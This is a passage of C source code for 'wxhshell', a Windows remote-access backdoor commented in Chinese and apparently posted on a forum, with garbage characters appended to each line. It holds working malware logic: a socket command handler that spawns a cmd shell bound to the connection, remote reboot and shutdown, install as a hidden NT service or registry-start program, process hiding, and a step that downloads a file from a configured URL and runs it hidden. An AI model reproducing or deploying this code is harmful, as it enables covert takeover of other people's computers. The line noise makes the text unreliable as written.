  // 帮助 q*!R4yE;C  
  case '?': { 'H1~Zhv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `y8pwWo-o  
    break; _\!]MV  
  } \j8vf0c5b  
  // 安装 A^U84kV=  
  case 'i': { OV>& `puL  
    if(Install()) |OQ]F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8f@}-  
    else F^ q{[Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4vhf!!1  
    break;  MlO OB  
    } -Cf)`/  
  // 卸载 }$6L]   
  case 'r': { oOFTQB_6  
    if(Uninstall()) ~uQ*u.wi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )'shpRB;1  
    else  Spm 0`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6F\ 6,E  
    break; V&mkS  
    } blc?[ [,!  
  // 显示 wxhshell 所在路径 [-~pDkf:  
  case 'p': { U ?[ (  
    char svExeFile[MAX_PATH]; K7}.#*% ~  
    strcpy(svExeFile,"\n\r"); <'Q6\R}:vC  
      strcat(svExeFile,ExeFile); Pk?$\  
        send(wsh,svExeFile,strlen(svExeFile),0); U S^% $Z:  
    break; *yq65yZi5  
    } xATx2*@X2  
  // 重启 (qn=BP I  
  case 'b': { ~(kEGEF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); os V6=  
    if(Boot(REBOOT)) GT{4L]C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^:9a1{L[  
    else { Z0gtliJ@  
    closesocket(wsh); xd Z$|{,  
    ExitThread(0); Z)!8a$M~  
    } i'Y8-})  
    break; =NB[jQ :(  
    } aNbS0R>l  
  // 关机 /VR~E'Cy%  
  case 'd': { g_>&R58  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #UGSn:D<i  
    if(Boot(SHUTDOWN)) 1NYR8W]2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Ko2yn}6l  
    else { $5nMD=   
    closesocket(wsh); _!xrBdaJ  
    ExitThread(0); IZVP-  
    } Z |$#  
    break; HoI6(t  
    } *WE8J#]d  
  // 获取shell ]#0 (  
  case 's': { +eVYy_bL-  
    CmdShell(wsh); 1tuvJ+`{  
    closesocket(wsh); bWSN]]e1#  
    ExitThread(0); 8SRR)O[)}  
    break; `}X3f#eO&  
  } 5F kdGF  
  // 退出 F5)`FM^R  
  case 'x': { x&B&lFmo 8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~IhAO}1  
    CloseIt(wsh); 9a`Lr B  
    break; RhWQ:l]  
    } Y RZ\nun  
  // 离开 GDu^P+^  
  case 'q': { }[0nTd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N0 {e7M  
    closesocket(wsh); *'@O o  
    WSACleanup(); *85N_+Wv!  
    exit(1); z/t|'8f  
    break; <2U#U;  
        } 7q0_lEh  
  } VL%. maj  
  } WJ{Iv] }9  
7_~ A*LM  
  // 提示信息 i)#-VOhX)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ft5A(P >  
} *%xbn8  
  } Y ^^4n$  
=rKJJa N  
  return; b.*LmSX#  
} c^}G=Z1@  
.*zN@y3  
// shell模块句柄 ^O|fw?,  
int CmdShell(SOCKET sock) y2W+YV*  
{ 0E.N3iU  
STARTUPINFO si; H cmW  
ZeroMemory(&si,sizeof(si)); 1>(EvY}Y\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PMjNc_))  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U[C>Aoze  
PROCESS_INFORMATION ProcessInfo; 5|*{~O|  
char cmdline[]="cmd"; % /:1eE`!S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -K|1w'E  
  return 0; Ow 0>qzTg  
} Yp\n=#$[  
!y_FbJ8KC  
// 自身启动模式 9xA4;)36  
int StartFromService(void) Hf4_zd  
{ {Y~>&B5  
typedef struct W3:j Z:  
{ aoy Be|H~=  
  DWORD ExitStatus; vQrxx  
  DWORD PebBaseAddress; i'f w>-0  
  DWORD AffinityMask; M CC4'  
  DWORD BasePriority; 3.W[]zH/u  
  ULONG UniqueProcessId; w=KfkdAJ*/  
  ULONG InheritedFromUniqueProcessId; pg{VKrT`  
}   PROCESS_BASIC_INFORMATION; f:Pl Mv!{  
[,;Y5#Y[5  
PROCNTQSIP NtQueryInformationProcess; !*]i3 ,{7v  
.7Mf(1:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7hJX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yaz6?,)  
Yxq!7J  
  HANDLE             hProcess; ~n=DI/AJ@-  
  PROCESS_BASIC_INFORMATION pbi; 2u.0AG   
^ITF*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Sk{skvd;  
  if(NULL == hInst ) return 0; bPVk5G*ruP  
461g7R%r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8 063LWV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ("U<@~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b<FE   
('x]@  
  if (!NtQueryInformationProcess) return 0; 4,y7a=qf3  
f*%kHfaXgN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Fz#@[1,  
  if(!hProcess) return 0; X>I3N?5  
U["0B8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r+#{\~r7T  
x2v0cR"KL  
  CloseHandle(hProcess); N7?]eD  
p]L]=-(qI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [!uzXVS3  
if(hProcess==NULL) return 0; |r~u7U\  
B:h<iU:'D  
HMODULE hMod; |_?e.}K  
char procName[255]; b8d0]YS  
unsigned long cbNeeded; q,Gymh;  
puPI ^6y%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b8K]>yDAh  
^J]&($-  
  CloseHandle(hProcess); `W86]ut[  
: UeK0  
if(strstr(procName,"services")) return 1; // 以服务启动 s)Y1%#  
{ Zgd  
  return 0; // 注册表启动 Snk+ZQ-  
} $w(RJ/  
?R]`M_^&u!  
// 主模块 9a*#r;R  
int StartWxhshell(LPSTR lpCmdLine) ^kfqw0!  
{ 5W)ST&YPL*  
  SOCKET wsl; `D;*.zrA  
BOOL val=TRUE; oU|G74e6  
  int port=0; evZcoH3~  
  struct sockaddr_in door; }Xj25` x  
,X4b~)  
  if(wscfg.ws_autoins) Install(); +2`BZ}5y  
PC9,;T&7_  
port=atoi(lpCmdLine); ~| j  eNT  
Q:b0M11QR  
if(port<=0) port=wscfg.ws_port; qfsPX6]  
z}E_ wg  
  WSADATA data; \%<M[r=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4r(0+SO  
o 2 ng  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vM/*S 6[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z3]I^i FI  
  door.sin_family = AF_INET; wPg/.N9H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /\%<VBx ?q  
  door.sin_port = htons(port); rZ?:$],U!  
JpS}X\]i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JP4DV=}L  
closesocket(wsl); AW5iwq6p  
return 1; ET.jjV  
} MZGhN brd  
l 5-[a  
  if(listen(wsl,2) == INVALID_SOCKET) { !<M eWo  
closesocket(wsl); )JzY%a SP  
return 1; uzdPA'u  
} T^ktfg Xq  
  Wxhshell(wsl); :)#;0o5  
  WSACleanup(); g-qXS]y7  
>NUbk9}J4  
return 0; u%C oo  
n#+EG3  
} F` ybe\  
;TL.QN/l  
// 以NT服务方式启动 ,4'gj0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H*0Y_H=  
{ c`<2&ke  
DWORD   status = 0; 3y)\dln  
  DWORD   specificError = 0xfffffff; 2j+w5KvU  
C@XS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }xsO^K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vIpL8B86a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6 \8d6x>  
  serviceStatus.dwWin32ExitCode     = 0; (fpz",[  
  serviceStatus.dwServiceSpecificExitCode = 0; D;+/ bll7  
  serviceStatus.dwCheckPoint       = 0; IQJ"B6U)  
  serviceStatus.dwWaitHint       = 0; [NSslVr  
.?{no}u.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f30J8n"k  
  if (hServiceStatusHandle==0) return; ~A>fB2.pM  
yz68g?"  
status = GetLastError(); M5no4P<  
  if (status!=NO_ERROR) -+ByK#<%  
{ j !*,(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [oh06_rB  
    serviceStatus.dwCheckPoint       = 0; zA5nr`  
    serviceStatus.dwWaitHint       = 0; e \Qys<2r  
    serviceStatus.dwWin32ExitCode     = status; !@& 3q|  
    serviceStatus.dwServiceSpecificExitCode = specificError; FW-I|kK.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J];Sj  
    return; G|,&V0*  
  } -+E.I*st  
^xHKoOTj[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Xc-["y64  
  serviceStatus.dwCheckPoint       = 0; YF{MXK}  
  serviceStatus.dwWaitHint       = 0; .\caRb[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]nsjYsT  
} D_lRYLA+  
dgP e H8_  
// 处理NT服务事件,比如:启动、停止 ;g0s1nz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rMwa6ZO'm;  
{ jf3Zy :*K  
switch(fdwControl) t2,II\K l  
{ xJ3C^b%H  
case SERVICE_CONTROL_STOP: :^y!z1\2(7  
  serviceStatus.dwWin32ExitCode = 0; lgews"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WX4sTxJK  
  serviceStatus.dwCheckPoint   = 0; TO Hz3=  
  serviceStatus.dwWaitHint     = 0; %DSr@IX  
  { k>ErD v8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b/_Zw^DPC  
  } `Moo WG  
  return; \9[vi +T  
case SERVICE_CONTROL_PAUSE: m]?Z_*1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9\"\7S/Z  
  break; btg= # u  
case SERVICE_CONTROL_CONTINUE: b d 1^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }{F)Ren  
  break; Pk;w.)kT  
case SERVICE_CONTROL_INTERROGATE: QYbB\Y  
  break; H?"M&mF  
}; Ovt]3`U9J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qe.QF."y  
} F>\,`wP  
-H%v6E%yh  
// 标准应用程序主函数 a{ST4d'T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (}b~}X9  
{ /[TOy2/;%b  
d>f;N+O%  
// 获取操作系统版本 /<-PW9X?  
OsIsNt=GetOsVer(); wNi%u{T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B?%u< F  
lfAy$qP"}  
  // 从命令行安装 $$ND]qM$M  
  if(strpbrk(lpCmdLine,"iI")) Install(); #ksDU  
1NP  
  // 下载执行文件 _\>y[e["p  
if(wscfg.ws_downexe) { 2mEqfy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C@Wzg  
  WinExec(wscfg.ws_filenam,SW_HIDE); I7vP*YE 7F  
} N[ = I  
JA4Zg*7I  
if(!OsIsNt) { k^oSG1F  
// 如果时win9x,隐藏进程并且设置为注册表启动 8sj2@d  
HideProc(); a[hF2/*  
StartWxhshell(lpCmdLine);  ,t 2CQ  
} uUfw"*D  
else Ij(dgY  
  if(StartFromService()) XEiVs\) G  
  // 以服务方式启动 &m--}  
  StartServiceCtrlDispatcher(DispatchTable); ()6% 1zCO  
else h.tj8O1  
  // 普通方式启动 <qR$ `mLN  
  StartWxhshell(lpCmdLine); j#f/M3  
6Y2,fW8i,  
return 0; )?[2Y%P  
}
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只看该作者 1 发表于: 2006-10-10
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